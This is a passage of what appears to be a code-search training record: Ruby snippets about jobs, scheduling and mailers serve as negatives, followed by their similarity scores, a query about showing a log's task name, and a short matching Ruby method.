OSS Projects\\n\"\n for issueObject in OSSPROJECTS_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n if SOCIALGOOD_FAILED_VALIDATION.length() != 0\n comment += \"- Social Good Projects\\n\"\n for issueObject in SOCIALGOOD_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n @logger.info(\"Summary: #{comment}\")\n File.write(ENV[\"GITHUB_STEP_SUMMARY\"], comment)\nend", "def run_job\n end", "def prepare_job\n if @job_condition\n @job = Job.new\n @job_index = @job_index\n parse_values(\"JOB\", @job)\n @job.guid_number= parse(\"guid_number\")\n @job = update_job @job\n @jobs << @job\n end\n end", "def make_reservation(job_id)\n self.jobs[job_id]['reserved_at'] = Time.now.to_i\n self.save\n end", "def atest_ID_25891_scheduled_posts_01\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n sleep 5\n scheduledPostCount = count_scheduled_current\n if (scheduledPostCount < 5)\n i=1\n while i < 3\n $browser.goto($patch_note)\n $post_pick_group.when_present().click\n $group_select.when_present().select(\"Sports\")\n $post_compose_note.wait_until_present()\n $browser.link(:text, \"Basketball\").when_present().click\n $post_compose_note.when_present().set(\"Note field populated by automated test.\")\n $advanced_options.when_present().click\n currentTime = Time.now() + 2\n currentDate = currentTime.strftime(\"%Y-%m-%d\")\n $post_advanced_calendar.when_present().set(\"#{currentDate}\")\n $post_advanced_time.when_present().set(\"11:00 PM\")\n sleep 3\n $browser.link(:text => /11:00/).click\n $profile_schedule.when_present().fire_event(\"onclick\")\n sleep 3\n i = i+1\n end\n end\n end", "def schedule_new_record(row)\n ETL::Engine.logger.debug \"writing new record\"\n if scd_type == 2\n row[scd_effective_date_field] = @timestamp\n row[scd_end_date_field] = '9999-12-31 00:00:00'\n row[scd_latest_version_field] = true\n end\n buffer << row\n end", "def description\n \"This task hits the Corpwatch API and creates an object for all found entities.\"\nend", "def process_latest_schedule\n @schedule[:games].each_with_index do |game, i|\n descr = sprintf(\"%s at %s\", game[\"awayTeamName\"], game[\"homeTeamName\"])\n @game_changer.insert_text(i, descr)\n end\n end", "def test_get_all_jobs\r\n # Create a trigger object with simple recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobSimpleTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new( \"2010-01-01T00:00:00.0000000+02:00\" )\r\n trigger.occurrenceCount = 1\r\n trigger.recurrenceInterval = 1\r\n trigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::WEEK\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_no_params['uri']\r\n job.label = @test_report_no_params['output_label'] \r\n job.baseOutputFilename = @test_report_no_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.simpleTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job )\r\n \r\n @test_jobs << job_res.id if !job_res.nil?\r\n \r\n array_of_jobs = @scheduler_service.getAllJobs\r\n assert_not_nil array_of_jobs, 'Failed to retrieve list of jobs' \r\n array_of_jobs.each do |job|\r\n assert_not_nil job, 'Null job returned' \r\n end\r\n end", "def test_delete_jobs\r\n jobs = []\r\n 2.times do\r\n # Create a trigger object with simple recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobSimpleTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new( \"2010-01-01T00:00:00.0000000+02:00\" )\r\n trigger.occurrenceCount = 1\r\n trigger.recurrenceInterval = 1\r\n trigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::WEEK\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_no_params['uri']\r\n job.label = @test_report_no_params['output_label'] \r\n job.baseOutputFilename = @test_report_no_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.simpleTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job )\r\n jobs << job_res.id if !job_res.nil?\r\n end\r\n \r\n # Delete the schedule on the server\r\n assert_nothing_raised do\r\n @scheduler_service.deleteJobs( jobs )\r\n end\r\n end", "def test_schedule_job_simple_trigger_report_params\r\n # Create a trigger object with simple recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobSimpleTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new( \"2010-01-01T00:00:00.0000000+02:00\" )\r\n trigger.occurrenceCount = 1\r\n trigger.recurrenceInterval = 1\r\n trigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::WEEK\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a param array object\r\n params = JasperServer::ReportSchedulerService::ArrayOfJobParameter.new \r\n params << JasperServer::ReportSchedulerService::JobParameter.new( @test_report_with_params['params']['name'], @test_report_with_params['params']['value'] )\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_with_params['uri']\r\n job.label = @test_report_with_params['output_label'] \r\n job.baseOutputFilename = @test_report_with_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.simpleTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n job.parameters = params\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job )\r\n assert_not_nil( job_res, 'Failed to create schedule with simple recurrence and report params' )\r\n @test_jobs << job_res.id if !job_res.nil?\r\n end", "def <<(scrape_job) save scrape_job end", "def new\n @job = Job.new\n end", "def record_job(job_json)\n job = JSON.parse(job_json)\n processing_jobs.create!(\n :account_id => account_id,\n :cloud_crowd_id => job['id'],\n :title => title,\n :remote_job => job\n )\n end", "def create\n job_type = params[:type]\n email = params[:email]\n subject = params[:subject]\n job = Job.find(params[:id]) unless params[:id].nil?\n\n if job_type == 'assign'\n AutoMailer.job_assign(email, subject, job).deliver_later\n elsif job_type == 'reject'\n AutoMailer.job_reject(email, subject, job).deliver_later\n elsif job_type == 'members'\n AutoMailer.mail_members(email, subject, params[:body]).deliver_later\n elsif job_type == 'job'\n AutoMailer.mail_job(\"npfosi@gmail.com\", job).deliver_later\n AutoMailer.mail_job(email, job).deliver_later\n elsif job_type == 'update_job'\n AutoMailer.mail_job(\"npfosi@gmail.com\", job).deliver_later\n end\n\n render json: \"ok\", status: 204\n end", "def create\n @scrapper_job = ScrapperJob.new(scrapper_job_params)\n @scrapper_job.scrape_ff\n\n respond_to do |format|\n if @scrapper_job.save\n\tformat.html { redirect_to @scrapper_job, notice: 'Scrapper job was successfully created.' }\n\tformat.json { render :show, status: :created, location: @scrapper_job }\n else\n\tformat.html { render :new }\n\tformat.json { render json: @scrapper_job.errors, status: :unprocessable_entity }\n end\n end\n end", "def generate_daily_cit(chanconfig)\n system(\"/usr/bin/perl #{chanconfig} -cit > /home/steve/chanconfig/chanfile_cit.dat\")\n return\nend", "def capture_events\r\n\t\tputs \"--------- Adding last week build info. starts here -------\"\r\n\t\tresponse_job_names = @client.api_get_request(\"\")\r\n\t\tjobs = []\r\n\t\tresponse_job_names[\"jobs\"].each { |job| jobs << job[\"name\"] \r\n\t\t}\r\n\r\n\t\tjobs.each { |job| \r\n\t\tputs \"Job: #{job}\"\r\n\t\tresponse_json_builds = @client.api_get_request(\"/job/#{job}\", \"depth=1&tree=builds[id,duration,number,result,url]\")\r\n\t\tfiltered_jobs = []\r\n\t\tresponse_json_builds[\"builds\"].each do |pastjob|\r\n\t\tbuildtime = pastjob[\"id\"].to_s.split('_')[0] + \" \" + pastjob[\"id\"].to_s.split('_')[1].gsub(\"-\",\":\")\r\n\t\tif !(buildtime.nil?) && !(pastjob[\"number\"].to_s.nil?) && !(pastjob[\"result\"].nil?)\r\n\t\t\t if Time.parse(buildtime) >= pasttime\r\n\t\t\t\tsummary = job + \" build #\" + pastjob[\"number\"].to_s + \" \" + pastjob[\"result\"]\r\n\t\t\t\tcontent = \"Check the status for build #\" + pastjob[\"number\"].to_s + \" here \"+ pastjob[\"url\"]\r\n\t\t\t\tbuilddate = DateTime.parse(pastjob[\"id\"].to_s.split('_')[0]+ \" \" + pastjob[\"id\"].to_s.split('_')[1].gsub(\"-\",\":\"))\r\n\t\t\t\tstarttime = builddate.strftime(config['pasteventsdateformat'])\r\n\t\t\t\tbuildendtime = Time.parse(starttime) + (pastjob[\"duration\"]/(1000))\r\n\t\t\t\tgooglestartdate = builddate.strftime(config['googledateformat'])+'T'+starttime.to_s+'.000Z'\r\n\t\t\t\tgoogleenddate = builddate.strftime(config['googledateformat'])+'T'+buildendtime.strftime(config['pasteventsdateformat'])+'.000Z'\r\n\r\n\t\t\t\tevent = {\r\n\t\t\t\t :title=>summary, \r\n\t\t\t\t :content=>content,\r\n\t\t\t\t :author=>config['author'], \r\n\t\t\t\t :email=>config['email'], \r\n\t\t\t\t :startTime=>googlestartdate,\r\n\t\t\t\t :endTime=>googleenddate}\r\n\t\t\t\tresponse = gcalsession.new_event(event, config['pasteventscalId'])\r\n\t\t\t\tputs 'done'\r\n\t\t\t end\r\n\t\tend\r\n\t\tend\r\n\t\t}\r\n\t\tputs \"--------- Adding last week build info. ends here -------\"\r\n\tend", "def parse_job(listing)\n\n # binding.pry\n\n title = listing.search('a.dice-btn-link')[0].text\n @employer_name = listing.search('li.employer .dice-btn-link')[0].text\n location = listing.search('li.location').text\n \n job_link = listing.search('a.dice-btn-link')[0].attributes[\"href\"].value.to_s\n\n relative_date = listing.search('li.posted').text\n date = parse_absolute_date(relative_date)\n \n employer_id = job_link.split('/')[-2]\n job_id = job_link.split('/')[-1]\n\n [\n date,\n title,\n @employer_name,\n location,\n job_link,\n employer_id,\n job_id\n ].map! { |text| text.gsub(/\\s+/, ' ').strip }\n end", "def job_assign(email, subject, job)\n @job = job\n @member = DailyMember.find(job.daily_member_id) unless job.daily_member_id.nil?\n mail(to: email, subject: subject)\n end", "def get_crontab_entry\n # Initialize\n newcron = []\n newcron << \"# Chef Name: #{new_resource.name}\"\n newcron << env_var_str unless env_var_str.empty?\n newcron << duration_str + time_out_str + cmd_str\n\n newcron.join(\"\\n\")\n end", "def new\n @job = Job.new\n end", "def create_from_wizard\n queue_id = params['job'].delete('jobs_queue_id')\n @job = Job.new(params[:job])\n @job.user = current_user\n @job.r_script_id = session[:r_script_id] if session[:r_script_id] and r_script = RScript.find_by_id(session[:r_script_id]) and (RScript.public_r_scripts.include?(r_script) or current_user.r_scripts.include?(r_script))\n\n respond_to do |format|\n if @job.save\n JobParameter.save_job_data_set_parameters(current_user, @job.id, session[:r_script_id], session[:data_set_parameters])\n if @job.r_script.tags.collect{|tag| tag.name}.include?('install script')\n @job.pending \n elsif queue = JobsQueue.find_by_id(queue_id.to_i) \n @job.submit(queue) \n end\n create_log_entry(@job.r_script, @job, 'use')\n flash[:notice] = 'Job was successfully created.'\n session[:r_script_id] = nil\n session[:data_set_parameters] = nil\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job.to_xml(:include => { :job_parameters => { :include => :data_set } }), :status => :created, :location => @job }\n else\n format.html { render :action => \"set_information\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end", "def build_new_works\n\n return if self.status==:new_only_effort #estimation only, no schedule\n\n work_actual_array=self.task.work_actuals\n\n d1 = Date.last_monday(self.task.start)\n d2 = task.stop\n\n logger.info \" build_works_for_baseline from #{d1} to #{d2}\"\n\n d1.step(d2, 7) do |date|\n self.works.build do |w|\n w.start_date =date\n w.duration =WORK_TIME_FRAME\n w.workhours =Baseline.corresponding_work(work_actual_array, date).nil_or.workhours\n w.description=Baseline.corresponding_work(work_actual_array, date).nil_or.description\n end\n end\n end" ]
[ "0.5962915", "0.5694462", "0.56267154", "0.5614001", "0.5589156", "0.5584245", "0.55645454", "0.5520627", "0.5513501", "0.5476041", "0.54527223", "0.54451644", "0.5435867", "0.53940177", "0.53802115", "0.5376032", "0.53745383", "0.5354971", "0.5348687", "0.53439045", "0.53347963", "0.532013", "0.5316928", "0.53096235", "0.530829", "0.53073347", "0.53014207", "0.52973557", "0.52944106", "0.5292186", "0.52840316", "0.52799344", "0.527328", "0.52706367", "0.5265618", "0.5262406", "0.5228363", "0.5224915", "0.52211773", "0.52080506", "0.52022815", "0.51937175", "0.5193365", "0.5190982", "0.5188506", "0.5187744", "0.5172233", "0.5164497", "0.51630455", "0.51588714", "0.515825", "0.51563287", "0.5155815", "0.5153318", "0.5153312", "0.5153259", "0.51496905", "0.5144903", "0.5142765", "0.5139508", "0.5139015", "0.5138193", "0.5135244", "0.5134087", "0.5131465", "0.5131465", "0.5124078", "0.5123048", "0.5118327", "0.5117959", "0.51116705", "0.5105882", "0.5104784", "0.5102662", "0.51016355", "0.5100958", "0.50940096", "0.50825304", "0.50817764", "0.50805813", "0.5072258", "0.50695753", "0.50684965", "0.5068215", "0.5064735", "0.5058369", "0.50577915", "0.50574774", "0.5054796", "0.50540835", "0.5053815", "0.50509995", "0.5050382", "0.50494546", "0.5041804", "0.50415444", "0.5039319", "0.50347805", "0.50327677", "0.5031549" ]
0.74750215
0
initialize the class with token and user to be used in class
def initialize(query) @query = query # move to credentials @client_id = '70166a8803b64e91b28581c88583ec25' @client_secret = '3e785abde5174e91ac592e08baaa7af5' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize\n setup_token\n end", "def initialize(user_id, token)\n @user_id = user_id\n @token = token\n @errors = []\n end", "def initialize\n auth_login_response = auth.login_with_token(EbanqApi.token,\n EbanqApi.secret)\n @auth_token = auth_login_response['token']\n end", "def initialize email,token\n super(email, token)\n end", "def initialize(username = nil, token = nil)\n if username && token\n @base_params = {:username => username, :token => token}\n else\n @base_params = {}\n end\n end", "def initialize(auth_token)\n @auth_token = auth_token\n end", "def initialize(auth_token)\n @auth_token = auth_token\n end", "def initialize(auth_token)\n @auth_token = auth_token\n end", "def initialize(user_id, token)\n @user = user_id.to_s\n @headers = {\n 'Accept-Encoding' => 'gzip',\n 'User-Agent' => 'agent-that-accepts-gzip',\n }.update(self.class.auth_headers(token))\n @in_batch = false\n end", "def initialize(options = {})\n @auth_token = options[:auth_token] || self.class.auth_token\n end", "def initialize(token, secret)\n @token, @secret = token, secret\n end", "def initialize\n @token_type = 'bearer'\n end", "def initialize(context:)\n @user = JSONAPI::Authorization.configuration.user_context(context)\n end", "def initialize(token)\n\t\t@token = token\n\tend", "def initialize(username: nil, password: nil, base_uri: nil,\n token: nil, expires_at: nil)\n\n @token = token\n @expires_at = DateTime.parse(expires_at.to_s) if expires_at\n\n @username = username || Todoable.configuration.username\n @password = password || Todoable.configuration.password\n @base_uri = base_uri || Todoable.configuration.base_uri\n end", "def initialize(user: 'christophermosel2', pass_key: 'DfURxDmhxpnQqZ2hyS6z')\n # set username\n @username = user\n # set pass_key\n @pass_key = pass_key\n # set the endpoint of BrowserStack API\n @api_url = \"http://api.browserstack.com/3/\"\n\n # get max number of sessions\n @sessions_limit = self.get_status['sessions_limit']\n end", "def initialize(user, password)\n @user = user\n @password = password\n\n # In the constructor, try to authenticate and get the access_token and\n # client_id\n authenticate\n end", "def initialize(email, password)\n # This gets the response object. We only want the auth_token from it. So we will have to\n # query the response for it.\n response = self.class.post(\"https://www.bloc.io/api/v1/sessions\", body: { email: email, password: password })\n # query the response object for the auth_token. And assign it to @auth_token.\n @auth_token = response['auth_token']\n end", "def initialize(access_token)\n self.class.basic_auth access_token, nil\n end", "def initialize\n @api_user = \"\"\n @api_key = \"\"\n end", "def initialize(config, user = nil)\n @config = config\n @user = user\n\n options = {\n :consumer_key => config['consumer_key'],\n :consumer_secret => config['consumer_secret'],\n :access_token => user ? user.access_token : config['client_access_token'],\n :access_token_secret => user ? user.secret_token : config['client_secret_token']\n }\n\n super(options)\n end", "def init\n\t\tuser_credentials = {\n\t\t\t:access_token => access_token,\n\t\t\t:refresh_token => refresh_token,\n\t\t\t:expires_at => Time.now + expires_in\n\t\t}\n\n client_id = '694fc2f618facf30b3b41726ee6d0ac04c650669ca3d114cb0bae4223cecade3'\n client_secret = '3e7cfd07d829211ac50dd6486fe677ca76e965f25ad7d68e67e845e0d4a213e7'\n\t\tCoinbase::OAuthClient.new(client_id, client_secret, user_credentials)\n\tend", "def initialize(user=current_user)\n @user = user\n @authed = true\n end", "def initialize(email, password)\n response = self.class.post(api_url(\"sessions\"), body: { email: email, password: password })\n raise 'Invalid email or password' if response.code == 404\n @auth_token = response[\"auth_token\"]\n\n end", "def initialize( user_token = nil, user_secret = nil )\n\t\t@consumer = OAuth::Consumer.new(TWOAUTH_KEY, TWOAUTH_SECRET, { :site=> TWOAUTH_SITE })\n\t\t@access_token = OAuth::AccessToken.new( @consumer, user_token, user_secret ) if user_token && user_secret\n end", "def initialize(user:)\n @user = user\n end", "def initialize(token = nil)\n @token = token\n end", "def initialize(email, password)\n #self.class will envoke HTTPArty to use post method. \"sessions\" is passed into the private method api_url and used as the end point.\n #this will return an auth token, wil send 404 if return page does not exist\n response = self.class.post(\"/sessions\", body: { email: email, password: password })\n # if you receive error code 404 display string\n raise 'YOU SHALL NOT PASS' if response.code == 404\n #returns JSON key called auth_token and assigns it to @auth_token\n @auth_token = response[\"auth_token\"]\n end", "def initialize user\n @user = user\n end", "def initialize(token) \n self.token_set = token\n end", "def initialize(username, token, test_env = false)\n @username = username\n @token = token\n @test_environment = test_env\n @root_uri = get_root_uri(test_env)\n @endpoints = [:valid_token, :generate_token, :valid_user,\n :new_search, :search_status, :search_result,\n :packages, :search_inputs]\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize(token, token_type = TokenCredentials::DEFAULT_SCHEME)\n @token = token\n @token_type = token_type\n end", "def initialize(token_object)\n @token_object = token_object\n end", "def initialize(token)\n @token = token\n end", "def initialize(token)\n @token = token\n end", "def initialize(current_user, request)\n @current_user, @request = current_user, request\n end", "def initialize(user)\n @user = user\n end", "def initialize(user)\n @user = user\n end", "def initialize\n get_enterprise_token\n initialize_client\n end", "def initialize(x_auth_token: '123abcqwerty')\r\n Configuration.x_auth_token = x_auth_token\r\n end", "def initialize(token)\n @token = token\n end", "def initialize(token)\n @token = token\n end", "def initialize(username, token, gateway_server = GATEWAY_SERVER, options = {})\n\t\t\tself.username = username\n\t\t\tself.token = token\n\t\t\tself.gateway_server = gateway_server\n\t\t\tself.options = DEFAULT_OPTIONS.merge(options)\n\t\t\tself.proxy = self.options[:proxy]\n\n\t\t\trequire_field :username, :token, :gateway_server\n\t\tend", "def initialize(token, version)\n # The token to use when connecting to the endpoint\n @token = token\n # The version of the API we will use\n @version = version\n end", "def initialize(token)\n @token = token\n end", "def initialize\n self.http_client = HTTPClient.new(:base_url => Rdioid::BASE_URL, :force_basic_auth => true)\n\n http_client.set_auth(Rdioid::OAUTH_TOKEN_ENDPOINT, Rdioid.config.client_id, Rdioid.config.client_secret)\n end", "def initialize(access_token)\n @access_token = access_token\n end", "def initialize(access_token)\n @access_token = access_token\n end", "def initialize(access_token)\n @access_token = access_token\n end", "def initialize options\n require 'json'\n require 'net/http'\n require 'uri'\n\n super\n\n url = URI options['keystone_url']\n url += '/v2.0/tokens'\n\n @keystone_login = keystone_login_request_body options\n @keystone_path = url.path\n @http = http url\n\n @connect_time = nil\n @login_time = nil\n @total_time = nil\n end", "def initialize(token, organization)\n @token = token\n @organization = organization\n end", "def initialize(token)\n @gnews_token = token\n end", "def initialize(token:)\n @token = token\n end", "def initialize(params = {})\n @token = params[:token]\n @player = params[:player]\n end", "def initialize(user)\n @user = user\n end", "def initialize(user)\n @user = user\n end", "def initialize(user)\n @user = user\n end", "def initialize(token)\n @token = token #when we initialize a player, the game knowns each player has a specific token\n end", "def initialize(login,email,token=nil)\n @login = login.downcase\n @email = email\n @token = token\n end", "def initialize current_user\n @vrn = current_user.vrn\n @access = current_user.access_token\n @query = { \"from\": \"2020-01-01\", \"to\": \"2021-01-01\" }\n @headers = {\n\n # Authenication\n # Required to communicate with oAuth\n 'Accept': 'application/vnd.hmrc.1.0+json',\n 'Authorization': 'Bearer ' + @access,\n\n # Fraud headers\n # https://developer.service.hmrc.gov.uk/guides/fraud-prevention/connection-method/web-app-via-server/#gov-vendor-product-name\n 'Gov-Client-Connection-Method': 'WEB_APP_VIA_SERVER',\n 'Gov-Client-User-IDs': \"vat-mtd=#{current_user.id}\",\n 'Gov-Client-Timezone': \"UTC#{Time.now.strftime(\"%:z\")}\",\n 'Gov-Vendor-Version': \"vat-mtd=1.0.0\"\n\n }\n end", "def initialize(email, password)\n @email = email\n @password = password\n\n @auth_token = get_auth_token(@email, @password)\n end", "def initialize(user)\n @user = user\n end", "def initialize(user, data)\n\t\t\tsuper(user)\n\t\t\tinit(data)\n\t\tend", "def initialize(params)\n\n @client_id = params[:client_id]\n @client_token_id = params[:client_token_id]\n @token_symbol = params[:token_symbol]\n\n end", "def initialize\n\t\tself.parameters = {}\n\t\tself.user_id = -1\n\t\tself.new_user = false\n\tend", "def initialize(username=nil, token=nil, host='https://rest.textmagic.com/api/v2')\n @username = username\n @token = token\n @host = host\n if @username.nil? || @token.nil?\n raise ArgumentError, 'Username and token are required'\n end\n\n setup_connection\n setup_resources\n end", "def initialize(token:)\n raise Fitbark::Errors::TokenNotProvidedError if token.nil?\n\n @token = token\n end", "def initialize(current_user = nil)\n @current_user = current_user\n end", "def init\n init_oauth_access_token\n end", "def initialize(params)\n @user = params.fetch(:user)\n @credentials = params.fetch(:credentials)\n end", "def initialize(alias_token:, user_id:)\n @alias_token = alias_token\n @user_id = user_id\n end", "def initialize username,password\n\t\t\t@api_url = \"http://api.zenfolio.com/api/1.7/zfapi.asmx\"\n\t\t\t@username = username\n\t\t\t@password = password\n\n\n\t\t\tconnection = ZenfolioAPI::HTTP.new()\n\t\t\t@response = connection.POST('AuthenticatePlain', [username, password])\n\t\t\t\n\t\t\t# Unable to authenticate the user. Return error code from server\n\t\t\traise ZenfolioAPI::ZenfolioAPIAuthenticationError, @response['error'] if !@response['error'].nil?\n\n\t\t\t@token = @response['result']\n\t\tend", "def initialize(user_id, token)\n @user = user_id.to_s\n @headers = { 'Accept-Encoding' => 'gzip' }.update(self.class.auth_headers(token))\n @base_path = \"/m8/feeds/contacts/#{CGI.escape(@user)}/base\"\n end", "def initialize\n @user = UserUtility.new\n end", "def initialize(access_token)\n @access_token = access_token\n end", "def initialize(access_token)\n @access_token = access_token\n end", "def initialize(access_token)\n @access_token = access_token\n end", "def initialize options = {}\n @api_token = options[:api_token]\n end", "def initialize(id_token)\n @id_token = id_token\n end", "def initialize(ops={})\n\t\t\t#\tfor the readers\n\t\t\t#\tnot necessary, but polite\n\t\t\tops.each do |k, v|\n\t\t\t\tinstance_variable_set \"@#{k}\".to_sym, v\n\t\t\tend\n\n\t\t\traise Error.new(\"you must provide an Access Token\") unless self.token\n\t\tend", "def initialize(tokens_and_secrets = {})\n @oauth = KynetxAmApi::Oauth.new(tokens_and_secrets)\n end", "def initialize(instance, user: nil, password: nil, oauth_token: nil, client_id: nil, client_secret: nil, use_ssl: true)\n #instance example: https://dev99218.service-now.com\n instance_with_protocol = use_ssl ? \"https://#{instance}\" : \"http://#{instance}\"\n @instance = URI.parse(instance_with_protocol)\n @user = user\n @password = password\n if (client_id && client_secret && user && password)\n @oauth_token = get_token(client_id, client_secret)\n else\n @oauth_token = oauth_token\n end\n end", "def initialize(email, password)\n response = self.class.post(api_url(\"sessions\"), body: { email: email, password: password })\n @auth_token = response[\"auth_token\"] # Used to obtain auth token required to make API requests\n raise \"Invalid email address or password!\" if response.code == 404\n end", "def initialize(access_token)\n @access_token = access_token\n @threads = []\n @exception_array = %w[authenticity_token]\n end", "def initialize(token)\n @token = token\n if Time.now.to_i > @token.get_info['token_expiry']\n self.refresh\n end\n end", "def initialize login\n self.login = login\n end", "def initialize(attributes)\n @request_token = attributes[:request_token]\n @request_secret = attributes[:request_secret]\n @oauth_verifier = attributes[:oauth_verifier]\n @access_token = attributes[:access_token]\n @access_secret = attributes[:access_secret]\n @username = attributes[:username]\n @userid = attributes[:userid]\n @name = attributes[:name]\n @current_applicaion = nil\n end", "def initialize(from, to, client_secret)\n @from = from\n @to = to\n @client_secret = client_secret\n @access_token = fetch_access_token\n end", "def initialize(token)\n #accepts a token to assign\n @token = token\n end", "def initialize username, apikey\n\t\t@username = username\n\t\t@apikey = apikey\n\tend", "def initialize(params, current_user = nil)\n @params = params.to_h.with_indifferent_access\n @provider = @params[:provider]\n @user = current_user\n @authorization = nil\n end", "def initialize(x_api_token: nil, x_api_email: nil)\r\n Configuration.x_api_token = x_api_token\r\n Configuration.x_api_email = x_api_email\r\n end", "def initialize(user_id, api_key)\n @user_id = user_id\n @api_key = api_key\n end", "def initialize\n uri = URI(API_URL + \"auth/#{API_ID}/#{API_KEY}\")\n response = Net::HTTP.get(uri)\n\n # Removing invalid characters from token\n token = response.split(' ')[3]\n token = token.delete('\\\"')\n token = token.delete('\\\"')\n token = token.delete(',')\n @session_token = token\n end", "def initialize(auth_token)\n @auth_token = auth_token\n\n # defaults\n Unirest.default_header('Authorization', 'Bearer ' + @auth_token)\n Unirest.default_header('Accept','application/json')\n Unirest.default_header('Content-Type','application/json')\n\n Unirest.timeout(5) # 5s timeout\n end", "def user_init; end" ]
[ "0.79834646", "0.7637542", "0.75113356", "0.7397314", "0.7360093", "0.7315877", "0.7315877", "0.7315877", "0.72931236", "0.7284194", "0.72416836", "0.7234975", "0.72228694", "0.71283907", "0.71261835", "0.712317", "0.7115026", "0.71148515", "0.7057356", "0.7041217", "0.70329356", "0.70154357", "0.6974004", "0.6962243", "0.69593763", "0.6956094", "0.69481313", "0.69375706", "0.69333506", "0.69328517", "0.69275856", "0.6910881", "0.6910881", "0.6910881", "0.6910881", "0.6910881", "0.69060355", "0.69054496", "0.68984944", "0.68984944", "0.6896534", "0.6895624", "0.6895624", "0.68921995", "0.68908685", "0.68838024", "0.68838024", "0.6872196", "0.68689275", "0.68589437", "0.6846987", "0.68396735", "0.68396735", "0.68396735", "0.68388456", "0.6838429", "0.6837623", "0.68366164", "0.68359524", "0.68262607", "0.68262607", "0.68262607", "0.68195945", "0.6810806", "0.67932457", "0.67904955", "0.6769434", "0.6762332", "0.6756262", "0.6738431", "0.6729751", "0.67281437", "0.6726969", "0.67165226", "0.6714043", "0.6701308", "0.66910124", "0.6687543", "0.66740423", "0.66679925", "0.66679925", "0.66679925", "0.66628784", "0.6660824", "0.6659492", "0.6648624", "0.66400427", "0.66351956", "0.66346055", "0.66258216", "0.6612892", "0.66111356", "0.6610493", "0.6607969", "0.6602848", "0.65967715", "0.65945715", "0.65887845", "0.6582631", "0.656778", "0.6559975" ]
0.0
-1
display executed process of log as the name of the associated task
def exc_process self.task.name rescue 'No associated task!' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
